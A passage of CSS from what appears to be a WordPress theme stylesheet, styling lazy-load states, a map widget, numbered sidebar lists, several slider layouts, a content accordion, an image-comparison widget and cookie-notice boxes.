	animation: pencipreload .6s infinite linear forwards;
}
.pclz-style-3 .swiper-slide .penci-lazy:not(.pcloaded) {
	-webkit-filter: unset;
	filter: unset;
}
.pclz-style-1 .swiper-slide .penci-lazy.pcloaded,
.pclz-style-2 .swiper-slide .penci-lazy.pcloaded,
.pclz-style-3 .swiper-slide .penci-lazy.pcloaded {
	animation: unset;
	-webkit-filter: unset;
	filter: unset;
}
body.loading-posts #main .pcft-elers-wrapper,
body.loading-posts #main .theiaStickySidebar > ul,
body.loading-posts #main .theiaStickySidebar .post,
body.loading-posts #main .theiaStickySidebar section,
body.loading-posts #main .theiaStickySidebar > div:not(.archive-box) {
	opacity: 0.7;
}
body.loading-posts #main .pcft-elers-wrapper,
body.loading-posts #main .archive-box,
body.home.loading-posts #main .penci-wrapper-data {
	position: relative
}
body.loading-posts .pcft-elers-wrapper .penci-loader-effect,
body.loading-posts #main .penci-loader-effect {
	display: block;
	top: 200px;
	opacity: 1 !important;
	transform: translateX(-25px);
}
body.loading-posts .pcft-elers-wrapper .penci-loader-effect,
body.loading-posts #main .pcft-elers-wrapper .penci-loader-effect {
	transform: unset;
}
body.home.loading-posts #main .theiaStickySidebar > .penci-wrapper-posts-content {
	opacity: 1;
}
body.home.loading-posts #main .penci-wrapper-data > * {
	opacity: 0.7;
}
.penci-advanced-map {
	height: 100%;
	--mheight: 360px;
	--search-height: 80px;
}
.penci-advanced-map .penci-grid-wrap {
	display: block
}
.penci-advanced-map .penci-advanced-map-wrapper {
	width: 100%
}
.penci-advanced-map .penci-gmap-lists-wrapper {
	width: 100%
}
.penci-advanced-map .penci-gmap-lists {
	margin: 0;
	padding: 0;
	list-style: none;
	height: 300px;
	overflow: auto
}
.penci-gmap-lists-wrapper {
	background: var(--pcbg-cl)
}
.penci-gmap-lists-wrapper .penci-gmap-search-wrapper {
	margin-bottom: 0;
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-gmap-lists-wrapper .penci-gmap-search-wrapper .penci-search-default {
	padding: 0 20px;
	display: flex;
	align-items: center;
	height: var(--search-height);
	width: 100%
}
.penci-gmap-lists-wrapper .penci-gmap-search-wrapper .penci-search-default .search-box {
	width: 100%
}
.penci-advanced-map .penci-gmap-list-item {
	display: flex;
	align-items: center;
	border-bottom: 1px solid var(--pcborder-cl);
	padding: 16px 20px;
	cursor: pointer;
}
.penci-advanced-map .penci-gmap-list-item:nth-last-child(1) {
	border-bottom: 0
}
.penci-advanced-map .penci-gmap-list-item:nth-last-child(1) {
	margin-bottom: 0
}
.penci-advanced-map .scroll-content {
	display: flex;
	height: 100%;
	flex-direction: column
}
.penci-advanced-map .penci-title {
	font-size: 16px;
	color: var(--pcheading-cl);
	margin-bottom: 10px;
}
.penci-advanced-map .penci-phone,
.penci-advanced-map .penci-web,
.penci-advanced-map .penci-place {
	font-size: 12px;
	line-height: 1.6;
	color: var(--pcmeta-cl);
	display: block;
}
.penci-advanced-map .penci-phone {
	margin-top: 5px;
}
.penci-advanced-map .form-control {
	height: 40px;
	width: 100%;
	text-transform: capitalize;
	padding: 0 13px;
	border: 1px solid var(--pcborder-cl);
	font-size: 12px;
	outline: none;
	border-radius: 5px
}
.penci-advanced-map .form-control:focus {
	border: 1px solid #bdbbbb
}
.penci-advanced-map.penci-direction-left .penci-gmap-lists {
	overflow-y: auto;
	direction: rtl
}
.penci-advanced-map.penci-direction-left .penci-gmap-lists .penci-gmap-list-item {
	direction: ltr
}
.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar {
	width: 5px
}
.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar-track {
	background: #f1f1f1
}
.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar-thumb {
	background: #c8c8c8
}
.penci-advanced-map .penci-gmap-lists::-webkit-scrollbar-thumb:hover {
	background: #afaeae
}
.penci_admap_item {
	display: none;
}
.penci_admap_item.active {
	display: block;
}
.penci_admap_item iframe {
	height: 100%;
	min-height: var(--mheight);
}
@media (min-width:768px) {
	.penci-advanced-map {
		height: var(--mheight);
		margin-bottom: 0
	}
	.penci-advanced-map.penci-direction-left .penci-grid-wrap {
		flex-direction: row-reverse
	}
	.penci-advanced-map .penci-grid-wrap {
		display: flex
	}
	.penci-advanced-map .penci-gmap-lists-wrapper {
		width: 50%;
		max-width: 350px;
		border: 1px solid var(--pcborder-cl);
		height: calc(100% - 2px);
	}
	.penci-advanced-map.penci-has-lists-search-yes .penci-gmap-lists {
		height: calc(var(--mheight) - var(--search-height))
	}
	.penci-advanced-map .penci-gmap-lists {
		height: var(--mheight)
	}
}
.widget ul.side-newsfeed.order-numbers-2.display-order-numbers .order-border-number {
	display: none;
}
.widget ul.side-newsfeed.order-numbers-2.display-order-numbers {
	counter-reset: section;
}
.widget ul.side-newsfeed.order-numbers-2.display-order-numbers li .side-item-text {
	position: relative;
}
.widget ul.side-newsfeed.order-numbers-2.display-order-numbers li .side-item-text:before {
	counter-increment: section;
	content: "#" counter(section);
	font-size: 16px;
	line-height: 1;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	color: var(--pcheading-cl);
	opacity: 0.4;
	margin-bottom: 5px;
	display: block;
}
.widget ul.side-newsfeed {
	--oboxsize: 30px;
}
.widget ul.side-newsfeed.order-numbers-3 li .order-border-number {
	position: absolute;
	background: var(--pcbg-cl);
	box-shadow: none;
	width: var(--oboxsize);
	height: var(--oboxsize);
	line-height: unset;
	border-radius: unset;
	left: 0;
	top: 15px;
}
.widget ul.side-newsfeed.order-numbers-3 li {
	padding-left: 15px;
}
.widget ul.side-newsfeed.order-numbers-3 li .number-post {
	background-color: transparent;
	border-radius: unset;
	width: inherit;
	height: inherit;
	line-height: calc(var(--oboxsize) - 2px);
	text-align: center;
	display: inline-block;
	vertical-align: top;
	color: var(--pcaccent-cl);
	font-size: 17px;
	font-family: var(--pchead-font);
	font-weight: 600;
	z-index: 3;
	border: 2px solid var(--pcaccent-cl);
}
.widget ul.side-newsfeed.order-numbers-4 li .order-border-number {
	display: none;
}
.widget ul.side-newsfeed.order-numbers-4.display-order-numbers {
	counter-reset: section;
}
.widget ul.side-newsfeed.order-numbers-4.display-order-numbers li .side-image {
	position: relative;
}
.widget ul.side-newsfeed.order-numbers-4.display-order-numbers li .side-image:before {
	counter-increment: section;
	content: counter(section);
	position: absolute;
	left: 0;
	right: auto;
	z-index: 2;
	display: flex;
	justify-content: center;
	align-items: center;
	font-size: 22px;
	font-family: var(--pchead-font);
	color: #fff;
	font-weight: var(--pchead-wei);
	width: var(--oboxsize);
	height: var(--oboxsize);
	background: var(--pcaccent-cl);
	opacity: 0.9;
	border: 2px solid var(--pcbg-cl);
	bottom: 0;
}
.penci-slider41-wrapper {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	column-gap: 30px;
}
.penci-slider41-main-wrapper {
	width: calc(70% - 15px);
}
.penci-slider41-thumb-wrapper {
	width: calc(30% - 15px);
}
.penci-slider41-thumb {
	height: 100% !important;
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-slider41-t-item {
	display: flex;
	justify-content: space-between;
	column-gap: 15px;
	height: 100%;
  	align-items: center;
	border-top: 1px solid var(--pcborder-cl);
	cursor: pointer;
}
.penci-slider41-t-item .pcslider-41-img {
	flex: 0 0 120px;
}
.penci-slider41-t-item .pcslider-41-ct {
	flex: 1;
}
.penci-slider41-t-item .pcslider-41-ct h3 {
	font-size: 16px;
	margin-bottom: 0;
}
.penci-slider41-main-wrapper .penci-featured-content {
	left: 0;
	right: auto;
	bottom: 0;
	top: auto;
	transform: none;
	padding: 30px;
}
.penci-slider41-main-wrapper .penci-featured-content .feat-text {
	text-align: left;
	margin: 0;
	max-width: unset;
	padding: 0;
}
.swiper-slide-thumb-active .penci-slider41-t-item h3{
	color: var(--pcaccent-cl);
}
.penci-slider41-main-wrapper .penci-featured-content {
	background: rgb(55,55,55);
	background: linear-gradient(0deg, rgba(55,55,55,1) 0%, rgba(255,255,255,0) 100%);
}
@media only screen and (max-width: 960px) {
	.penci-slider41-wrapper {
		flex-direction: column-reverse;
		row-gap: 10px;
	}
	.penci-slider41-main-wrapper,
	.penci-slider41-thumb-wrapper {
		width: 100%;
	}
	.penci-slider41-thumb-wrapper {
		border-bottom: 0;
	}
	.penci-slider41-t-item {
		flex-direction: column;
		row-gap: 10px;
		border-top: 0;
		opacity: 0.7;
	}
	.penci-slider41-t-item .pcslider-41-img,
	.penci-slider41-t-item .pcslider-41-ct {
		width: 100%;
	}
	.penci-slider41-t-item .pcslider-41-ct {
		display: none;
	}
	.swiper-slide-thumb-active .penci-slider41-t-item {
		opacity: 1;
	}
	.penci-slider41-main-wrapper .penci-featured-content {
		padding: 20px;
	}
}
.penci-slider42-wrapper {
	position: relative;
}
.penci-slider42-wrapper .penci-slider42-thumb-wrapper {
	position: absolute;
    bottom: 0;
    left: 30px;
    right: 30px;
	z-index: 9;
}
.penci-slider42-t-item {
	max-width: 100%;
	height: 100%;
}
.pcslider-42-ct {
	padding: 20px;
	background: rgba(55,55,55,0.8);
	height: 100%;
	display: flex;
  	align-items: center;
	cursor: pointer;
}
.pcslider-42-ct h3 {
	color: #fff;
	font-size: 14px;
	margin-bottom: 0;
}
.swiper-slide-thumb-active .pcslider-42-ct {
	background: #fff;
}
.pcslider-42-ct h3 {
	overflow: hidden;
		display: -webkit-box;
		-webkit-line-clamp: 2;
				line-clamp: 2; 
		-webkit-box-orient: vertical;
}
.swiper-slide-thumb-active .pcslider-42-ct h3 {
	color: var(--pcheading-cl);
}
.penci-slider42-thumb-wrapper .swiper-slide {
	height: auto;
	align-self: stretch;
}
.featured-area.featured-style-42 .penci-featured-content .feat-text {
	text-align: left;
}
.featured-area.featured-style-42 .penci-featured-content {
	bottom: auto;
  	top: 50%;
  	max-width: 50%;
  	transform: translateY( calc( -50% - 34px ) );
}
.featured-area.featured-style-42 .item-inner-content {
	position: relative;
	overflow: hidden;
}
.featured-style-42 .penci-owl-carousel .item-inner-content .penci-image-holder::before {
	padding-top: 45%;
}
.featured-area.featured-style-42 .item-inner-content:after {
	position: absolute;
	background: rgb(24,24,24);
	background: linear-gradient(0deg, rgba(24,24,24,1) 0%, rgba(255,255,255,0) 100%);
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	content: '';
}
.featured-area.featured-style-42 .penci-featured-content .feat-text {
	padding: 0;
	margin: 0;
}
.featured-area.featured-style-42 .penci-featured-content .featured-slider-excerpt:before {
	width: 60px;
	height: 2px;
	content: '';
	background: var(--pcaccent-cl);
	display: block;
	margin-top: 15px;
	margin-bottom: 15px;
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.featured-area.featured-style-42 .penci-featured-content {
		max-width: 100%;
	}
	.featured-area.featured-style-42 .penci-featured-content .feat-text .featured-slider-excerpt {
		display: none;
	}
}
@media only screen and (max-width: 767px) {
	.featured-area.featured-style-42 .penci-featured-content {
		max-width: 100%;
	}
	.featured-area.featured-style-42 .penci-featured-content .feat-text {
		text-align: center;
	}
	.penci-slider42-wrapper .penci-slider42-thumb-wrapper {
		left: 10px;
		right: 10px;
	}
	.pcslider-42-ct h3 {
		overflow: hidden;
		display: -webkit-box;
		-webkit-line-clamp: 1;
				line-clamp: 1; 
		-webkit-box-orient: vertical;
	}
	.pcslider-42-ct {
		padding: 10px 15px;
	}
	.featured-area.featured-style-42 .penci-featured-content {
		transform: translateY( calc( -50% - 20px ) );
	}
}
.featured-area.featured-style-43 .penci-image-holder:before {
	padding-top: 430px;
	transition: 0.3s all ease-in-out;
}
.featured-area.featured-style-43 .swiper-slide-fully-visible.active .wrapper-item{
	padding-left: 30px;
	padding-right: 30px;
}
.featured-area.featured-style-43 .penci-mag-featured-content {
	margin: 30px 0 0;
	opacity: 0;
	background: var(--pcbg-cl);
	padding: 30px 0 0;
	position: relative;
	transition: 0.3s all ease-in-out;
	text-align: center;
	position: absolute;
	top: auto;
	bottom: -60px;
	left: 0;
	right: 0;
}
.featured-area.featured-style-43 .penci-mag-featured-content .cat > a.penci-cat-name {
	color: var(--pcaccent-cl);
}
.featured-area.featured-style-43 .swiper-slide-fully-visible.active .penci-image-holder:before {
	padding-top: 400px;
}
.featured-area.featured-style-43 .swiper-slide-fully-visible.active .penci-mag-featured-content {
	opacity: 1;
	bottom: 0;
}
.featured-area.featured-style-43 .penci-mag-featured-content h3 a {
	color: var(--pcheading-cl);
	font-size: 22px;
	line-height: 1.3;
	text-transform: none;
}
.featured-area.featured-style-43 .penci-mag-featured-content .feat-meta a, 
.featured-area.featured-style-43 .penci-mag-featured-content .feat-meta span {
	color: var(--pcmeta-cl);
}
@media only screen and (max-width: 767px) {
	.featured-area.featured-style-43 .penci-mag-featured-content h3 a {
		font-size: 16px;
	}
	.featured-area.featured-style-43 .swiper-slide-fully-visible.active .penci-mag-featured-content {
		position: static;
		margin-top: 0;
	}
}
.penci-slider44-wrapper {
	position: relative;
}
.penci-slider44-main-wrapper .item-inner-content {
	height: 520px;
}
.penci-owl-carousel.penci-slider44-main .penci-image-holder,
.penci-block-el .penci-slider44-main-wrapper .item-inner-content {
	height: 100%;
}
.penci-slider44-main-wrapper .item {
	overflow: hidden;
}
.penci-slider44-thumb-wrapper {
	position: absolute;
	top: 30px;
	right: 30px;
	bottom: 30px;
	width: 340px;
	z-index: 99;
}
.penci-slider44-thumb {
	height: 100% !important;
}
.penci-slider44-t-item {
	display: flex;
	justify-content: space-between;
	column-gap: 15px;
  	align-items: center;
	cursor: pointer;
	padding: 10px;
	position: relative;
}
.penci-slider44-t-item:before {
	content: '';
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	display: block;
	position: absolute;
	z-index: 1;
	background: #000;
	opacity: .6;
}
.swiper-slide-thumb-active .penci-slider44-t-item:before {
	background: var(--pcaccent-cl);
	opacity: .85;
}
.penci-slider44-t-item > div {
	z-index: 2;
}
.penci-slider44-t-item h3 {
	color: #fff;
	font-size: 16px;
	margin-bottom: 0;
}
.penci-slider44-t-item .pcslider-44-img {
	flex: 0 0 120px;
}
.penci-slider44-t-item .pcslider-44-ct {
	flex: 1;
}
.penci-slider44-main-wrapper .penci-featured-content {
	left: 0;
	right: auto;
	bottom: 0;
	top: auto;
	transform: none;
}
.penci-slider44-main-wrapper .penci-featured-content .feat-text {
	text-align: left;
	margin: 0;
	max-width: unset;
}
.penci-slider44-main-wrapper .penci-featured-content {
	background: rgb(55,55,55);
	background: linear-gradient(0deg, rgba(55,55,55,1) 0%, rgba(255,255,255,0) 100%);
	padding: 30px;
}
.penci-slider44-main-wrapper .penci-featured-content .feat-text {
	max-width: calc(100% - 370px);
	padding: 0;
}
.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next, 
.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-prev {
	border-radius: 0;
	top: 30px;
	left: 30px;
	margin: 0;
}
.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next {
	left: 70px;
}
@media only screen and (max-width: 960px) {
	.penci-slider44-wrapper {
		display: flex;
		flex-direction: column-reverse;
	}
	.penci-slider44-wrapper .penci-featured-slider-button {
		display: none;
	}
	.penci-slider44-thumb-wrapper {
		position: static;
	}
	.penci-slider44-main-wrapper .item-inner-content {
		height: auto;
	}
	.penci-slider44-main-wrapper .penci-featured-content {
		padding: 20px;
	}
	.penci-slider44-main-wrapper .penci-featured-content .feat-text {
		max-width: 100%;
	}
	.penci-slider44-thumb-wrapper {
		width: 100%;
		margin-top: 10px;
	}
	.penci-slider44-t-item .pcslider-44-img {
		flex: 0 0 50px;
	}
	.penci-slider44-t-item h3 {
		font-size: 12px;
		overflow: hidden;
		display: -webkit-box;
		-webkit-line-clamp: 2; /* number of lines to show */
				line-clamp: 2; 
		-webkit-box-orient: vertical;
	}
	.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next, 
	.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-prev {
		opacity: 0.6;
		top: 20px;
		left: 20px;
	}
	.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next {
		left: 60px;
	}
	.penci-slider44-wrapper .penci-owl-carousel-slider[data-direction="vertical"]:not(.penci-owl-loaded) .swiper-slide {
		margin-bottom: 0;
	}
	.penci-slider44-thumb:not(.penci-owl-loaded) .swiper-slide {
		width: 50%;
		max-width: calc( 50% - 7.5px );
	}
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper > div .penci-slider41-t-item {
	padding-top: 22px;
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper > div {
	margin-bottom: 26px;
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner {
	display: flex !important;
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner > div > div {
	margin-right: 15px;
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner {
	width: calc(100% + 15px);
}
@media only screen and (max-width: 767px) {
	.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider42-thumb-inner > div {
		width: 50%;
	}
	.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper > div {
		width: calc(100%/3) !important;;
	}
	.penci-owl-carousel:not(.penci-owl-loaded) .penci-slider41-thumb-inner.swiper-wrapper > div .penci-slider41-t-item {
		padding-top: 0;
	}
}


.penci-ct-accordion {
	display: flex;
	height: 360px;
	overflow: hidden
}
.penci-ct-accordion-item {
	position: relative;
	overflow: hidden;
	flex: 1;
	transition: flex .3s
}
.pcct-ac--default .penci-ct-accordion-item,
.pcct-ac--vertical .penci-ct-accordion-item {
	text-align: center;
	text-decoration: none;
	background-size: cover;
	background-position: center;
	background-repeat: no-repeat
}
.pcct-ac--default .penci-ct-accordion-content:before,
.pcct-ac--vertical .penci-ct-accordion-content:before {
	content: '';
	position: absolute;
	height: 100%;
	width: 100%;
	background: rgba(0, 0, 0, 0.44);
	left: 0;
	top: 0;
	transition: opacity .3s ease-in-out;
	z-index: 0;
	opacity: 0
}
.pcct-ac--default .penci-ct-accordion-item:after,
.pcct-ac--vertical .penci-ct-accordion-item:after {
	content: '';
	position: absolute;
	height: 100%;
	width: 5px;
	background: var(--pcbg-cl);
	right: -2.5px;
	top: 0;
	z-index: 1
}
.pcct-ac--default .penci-ct-accordion-item:nth-last-child(1):after,
.pcct-ac--vertical .penci-ct-accordion-item:nth-last-child(1):after {
	opacity: 0
}
.penci-ct-accordion-item.active {
	flex: 10
}
.penci-ct-accordion-item.active .penci-ct-accordion-content:before {
	opacity: 1
}
.penci-ct-accordion-item.active .penci-ct-accordion-content * {
	opacity: 1;
	visibility: visible;
	transform: translateY(0);
	transition: all .3s ease
}
.penci-ct-accordion-item.active .penci-ct-accordion-sub-title {
	transition-delay: .2s
}
.penci-ct-accordion-item.active .penci-ct-accordion-title {
	transition-delay: .3s
}
.penci-ct-accordion-item.active .penci-ct-accordion-text {
	transition-delay: .4s
}
.penci-ct-accordion-item.active .grid-post-box-meta {
	transition-delay: .4s
}
.penci-ct-accordion-item.active .penci-ct-accordion-button {
	transition-delay: .4s
}
.penci-ct-accordion-item.active .penci-ct-accordion-lightbox {
	opacity: 1;
	transition-delay: .4s;
	visibility: visible
}
.penci-ct-accordion-item.active .penci-ct-accordion-img:before {
	opacity: 1
}
.penci-ct-accordion-content {
	position: absolute;
	padding: 10px;
	top: 50%;
	left: 50%;
	transform: translate(-50%, -50%);
	width: 100%;
	display: flex;
	flex-direction: column;
	justify-content: center;
	height: 100%
}
.penci-ct-accordion-content * {
	opacity: 0;
	visibility: hidden;
	transform: translateY(8px)
}
.penci-ct-accordion-sub-title {
	color: var(--pcbg-cl);
	margin-bottom: 3px;
	font-weight: 500
}
.penci-ct-accordion-sub-title a,
.post-entry .penci-ct-accordion-sub-title a {
	color: inherit;
	text-decoration: none;
}
.penci-ct-accordion-title,
.post-entry .penci-ct-accordion-title {
	font-size: 20px;
	font-weight: 700;
	color: var(--pcbg-cl);
	margin: 0
}
.penci-ct-accordion-title a,
.post-entry .penci-ct-accordion-title a {
	color: inherit;
	text-decoration: none;
}
.penci-ct-accordion-text,
.post-entry .penci-ct-accordion-text {
	color: var(--pcbg-cl);
	line-height: 1.5em;
	font-size: 15px;
	margin-top: 12px;
	padding: 0;
}
.penci-ct-accordion-item .grid-post-box-meta {
	margin: 10px 0 0;
}
.penci-ct-accordion-text p {
	margin: 0
}
.penci-ct-accordion-button {
	display: block;
	position: relative;
	margin-top: 18px;
}
.post-entry .penci-ct-accordion-button a,
.penci-ct-accordion-button a {
	display: inline-block;
	font-size: 13px;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	color: var(--pcbg-cl);
	padding: 5px 15px;
	background: var(--pcaccent-cl);
}
.penci-ct-accordion-button a:hover,
.post-entry .penci-ct-accordion-button a:hover {
	background: var(--pcbg-cl);
	color: var(--pcheading-cl);
}
.penci-ct-accordion-lightbox {
	position: absolute;
	z-index: 10;
	display: inline-flex;
	padding: 10px;
	color: var(--pcbg-cl);
	border: 1px solid var(--pcbg-cl);
	border-radius: 100px;
	opacity: 0;
	margin: 10px;
	transition: all .3s ease;
	visibility: hidden
}
.penci-ct-accordion-lightbox i {
	transition: transform .3s ease
}
.penci-ct-accordion-lightbox:hover {
	color: var(--pcbg-cl);
}
.penci-ct-accordion-lightbox:hover i {
	transform: scale(1.25)
}
.penci-ct-meta {
	margin-bottom: 20px;
}
.penci-ct-meta span,
.penci-ct-meta span a{
	color: var(--pcbg-cl);
}
.pcct-img-position--row-reverse .penci-ct-accordion-item.active .penci-ct-accordion-content {
	margin-right: 50%;
	margin-left: auto
}
.elementor-widget-penci-content-accordion .elementor-widget-container {
	overflow: hidden
}
@media only screen and (min-width:768px) {
	.penci-ct-accordion {
		height: 400px
	}
	.penci-ct-accordion-item.active {
		flex: 6
	}
	.penci-ct-accordion-title {
		font-size: 28px
	}
	.penci-ct-accordion-text {
		font-size: 16px
	}
	.penci-ct-accordion-button a {
		font-size: 14px
	}
}
@media only screen and (min-width:961px) {
	.penci-ct-accordion {
		height: 500px
	}
	.pcct-ac--vertical .penci-ct-accordion-item:after {
		width: 100% !important;
		left: 0;
		right: auto !important;
		top: auto;
		height: var(--divider-width, 5px);
		bottom: calc(var(--divider-bottom, -5px) / 2)
	}
}
@media only screen and (min-width:768px) and (max-width:1024px) {
	.pcct-ac--tablet-vertical .penci-ct-accordion-item:after {
		width: 100% !important;
		left: 0;
		right: auto !important;
		top: auto;
		height: var(--divider-width, 5px);
		bottom: calc(var(--divider-bottom, -5px) / 2)
	}
}
@media only screen and (max-width:767px) {
	.pcct-ac--mobile-vertical .penci-ct-accordion-item:after {
		width: 100% !important;
		left: 0;
		right: auto !important;
		top: auto;
		height: var(--divider-width, 5px);
		bottom: calc(var(--divider-bottom, -5px) / 2)
	}
	.pccthide-m {
		display: none !important;
	}
}
.penciimg-compare {
	position: relative;
}
.penciimg-compare .icv__icv--horizontal img {
	height: 100%;
	max-width: inherit
}
.penciimg-compare .penciimg-compare-overlay:before {
	content: '';
	position: absolute;
	height: 100%;
	width: 100%;
	top: 0;
	left: 0;
	background: rgba(55, 55, 5, 0.25);
	z-index: 3
}
.penciimg-compare .icv {
	position: relative;
	overflow: hidden;
	cursor: row-resize
}
.penciimg-compare .icv__icv--vertical {
	cursor: row-resize
}
.penciimg-compare .icv__icv--horizontal {
	cursor: col-resize
}
.penciimg-compare .icv__img {
	pointer-events: none;
	-o-user-select: none;
	-moz-user-select: none;
	-webkit-user-select: none;
	-ms-user-select: none;
	user-select: none;
	max-width: none;
	width: 100%;
	margin: 0 !important;
	padding: 0 !important;
	border: 0 !important;
	border-radius: 0 !important;
	top: 0;
	display: block
}
.penciimg-compare .icv__is--fluid .icv__img {
	display: none
}
.penciimg-compare .icv__img-a {
	height: auto;
	position: static;
	z-index: 1;
	left: 0px
}
.penciimg-compare .icv__img-b {
	height: 100%;
	position: absolute;
	z-index: 2;
	left: auto;
	right: 0px;
	width: auto
}
.penciimg-compare .icv__icv--vertical .icv__img-b {
	width: 100%;
	height: auto
}
.penciimg-compare .icv__imposter {
	z-index: 4;
	position: absolute;
	top: 0px;
	left: 0px;
	width: 100%;
	height: 100%
}
.penciimg-compare .icv__wrapper {
	position: absolute;
	width: 100%;
	height: 100%;
	right: 0px;
	top: 0px;
	overflow: hidden;
	background-size: cover;
	background-position: center center;
	z-index: 3
}
.penciimg-compare .icv__is--fluid .icv__wrapper,
.penciimg-compare .icv__icv--vertical .icv__wrapper {
	width: 100% !important
}
.penciimg-compare .icv__is--fluid .icv__wrapper,
.penciimg-compare .icv__icv--horizontal .icv__wrapper {
	height: 100% !important
}
.penciimg-compare .icv__fluidwrapper {
	background-size: cover;
	background-position: center;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.penciimg-compare .icv__control {
	position: absolute;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-orient: vertical;
	-webkit-box-direction: normal;
	-ms-flex-direction: column;
	flex-direction: column;
	-webkit-box-pack: center;
	-ms-flex-pack: center;
	justify-content: center;
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	height: 100%;
	top: 0px;
	z-index: 5
}
.penciimg-compare .icv__icv--vertical .icv__control {
	-webkit-box-orient: horizontal;
	-webkit-box-direction: normal;
	-ms-flex-direction: row;
	flex-direction: row;
	left: 0;
	width: 100%
}
.penciimg-compare .icv__control-line {
	height: 50%;
	width: 2px;
	z-index: 6
}
.penciimg-compare .icv__icv--vertical .icv__control-line {
	width: 50%
}
.penciimg-compare .icv__theme-wrapper {
	width: 100%;
	height: 100%;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	position: absolute;
	-webkit-transition: all .1s ease-out 0s;
	transition: all .1s ease-out 0s;
	z-index: 5
}
.penciimg-compare .icv__icv--vertical .icv__theme-wrapper {
	-webkit-box-orient: vertical;
	-webkit-box-direction: normal;
	-ms-flex-direction: column;
	flex-direction: column
}
.penciimg-compare .icv__arrow-wrapper {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: center;
	-ms-flex-pack: center;
	justify-content: center;
	-webkit-box-align: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-transition: all .1s ease-out 0s;
	transition: all .1s ease-out 0s
}
.penciimg-compare .icv__arrow-a {
	-webkit-transform: scale(1.5) rotateZ(180deg);
	transform: scale(1.5) rotateZ(180deg);
	height: 20px;
	width: 20px;
	-webkit-filter: drop-shadow(0 3px 5px rgba(0, 0, 0, 0.33));
	filter: drop-shadow(0 -3px 5px rgba(0, 0, 0, 0.33))
}
.penciimg-compare .icv__arrow-b {
	-webkit-transform: scale(1.5) rotateZ(0deg);
	transform: scale(1.5) rotateZ(0deg);
	height: 20px;
	width: 20px;
	-webkit-filter: drop-shadow(0 3px 5px rgba(0, 0, 0, 0.33));
	filter: drop-shadow(0 3px 5px rgba(0, 0, 0, 0.33))
}
.penciimg-compare .icv__circle {
	width: 50px;
	height: 50px;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	-ms-flex-negative: 0;
	flex-shrink: 0;
	border-radius: 999px
}
.penciimg-compare .icv__label {
	position: absolute;
	z-index: 12;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	color: var(--pcbg-cl);
	font-size: 12px;
	background: rgba(255, 255, 255, 0.3);
	padding: 6px 12px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	text-transform: uppercase;
}
.penciimg-compare .icv__label.vertical {
	bottom: auto;
	left: 50%;
	transform: translateX(-50%)
}
.penciimg-compare .icv__icv--horizontal .icv__label {
	top: 50%;
	transform: translateY(-50%)
}
.penciimg-compare .icv__label.on-hover {
	opacity: 0;
	-webkit-transition: .3s cubic-bezier(.62, .24, .60, 1.35);
	transition: .3s cubic-bezier(.62, .24, .60, 1.35)
}
.penciimg-compare .icv:hover .icv__label.on-hover {
	opacity: 1
}
.penciimg-compare .icv__label-before {
	left: 15px;
}
.penciimg-compare .icv__label-after {
	right: 15px;
}
.penciimg-compare .icv__label-before.vertical {
	top: 15px;
}
.penciimg-compare .icv__label-after.vertical {
	bottom: 15px;
	right: auto
}
.penciimg-compare .icv__body {
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none
}
.penci-wrap-gprd-law.style-2 .penci-gprd-law {
	max-width: 470px;
	margin: 30px;
	padding: 20px 30px;
	background: #444;
	box-shadow: 1px 3px 6px rgba(50, 50, 50, 0.25);
}
.penci-wrap-gprd-law.style-2 .penci-gprd-law .penci-gprd-law-content {
	display: block;
	margin-bottom: 20px;
	color: #fff;
	font-size: 16px;
	line-height: 1.6;
}
.penci-wrap-gprd-law.style-2 .penci-gprd-accept,
.penci-wrap-gprd-law.style-2 .penci-gprd-law {
	line-height: 20px;
}
.penci-wrap-gprd-law.style-2 .penci-gprd-accept {
	margin-left: 0;
}
.penci-wrap-gprd-law.style-2 .penci-gprd-law .penci-gprd-more {
	color: #fff;
}
.penci-wrap-gprd-law.style-2.penci-wrap-gprd-law-close .penci-gprd-law {
	bottom: -30px;
}
.penci-wrap-gprd-law.style-3 .penci-gprd-law {
	max-width: 470px;
	margin: 30px;
	padding: 20px 30px;
	background: #eee;
  	box-shadow: 8px 8px 0px #444;
}
.penci-wrap-gprd-law.style-3 .penci-gprd-law .penci-gprd-law-content {
	display: block;
	margin-bottom: 20px;
	font-size: 16px;
	line-height: 1.6;
